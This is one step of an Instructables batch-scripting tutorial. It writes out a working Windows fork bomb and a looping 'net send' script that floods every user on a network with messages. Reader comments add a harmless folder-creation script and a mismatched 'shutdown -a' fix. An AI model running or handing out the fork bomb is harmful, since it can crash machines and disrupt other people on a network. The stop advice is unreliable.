3 Simple Ways to
Share What You Make

With Instructables you can share what you make with the world — and tap into an ever-growing community of creative experts.

PhotosPhotos

Share one or more photos of a project, recipe, or whatever you've made, quickly and easily.

Step by StepStep-By-Step

Share your step-by-step photos with text instructions of what you made so others can do it too!

VideoVideo

Share your how-to video. You'll need your embed code from a video site such as YouTube.

Batch Tutorial - Take 1

Step 3Fork Bombs / Infinite Loop (the GOTO trap)

Basically all a fork bomb is, is a program that keeps opening copies of itself which open up copies of itself, and so on and so forth. Well a VERY basic fork bomb would be:
@echo off:Startstart fork.batGOTO Start
Save as fork.bat
:Start marks a place in the script to which you may want to GOTO later or quicker then planned.
GOTO tells the program to go to a specific part

start basically "starts" something it can be a webpage, anything.
eg, start http://instructables.com''

This GOTO trap last forever until the user either breaks the process of the computer crashes.
The start fork.bat can be replaced with any command you like, for example;
@echo off:Startnet send * laconix rules!GOTO Start
Which basically send the text "laconix rules!" to anyone on your network with the Messenger Service running.
fork.bat45 bytes
« Previous StepDownload PDFView All StepsNext Step »
2 comments
May 19, 2011. 7:48 AMgflorin says:
@echo off
title Folder Creator
:menu
cls
echo Welcome!
echo -------------------------------------------------------------------------------------
echo.
echo 1) Create a new folder
echo 2) Exit
echo.
echo -------------------------------------------------------------------------------------
echo.
set/p nbr=Type the action number you want to do:
if %nbr%==1 GOTO new
if %nbr%==2 exit
:new
cls
echo New Folder
echo -------------------------------------------------------------------------------------
echo.
set/p nm=Folder Name:
md "%nm%"
if exist %nm% (
msg * "Folder successfully created!"
) else (
msg * "An error was found! '%nm%' was not created!"
)
GOTO menu
:: end

Save it as .bat
May 24, 2009. 6:28 PMredmaker says:
how do you stop it in anoying
Aug 16, 2010. 10:32 PMFiles says:
Go to start, run, and type in cmd.exe, or go to the command prompt in any way you can.From there, type: shutdown -a shutdown -a means abort shutdown.

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
5
Followers
3
Author:inevitable_chaos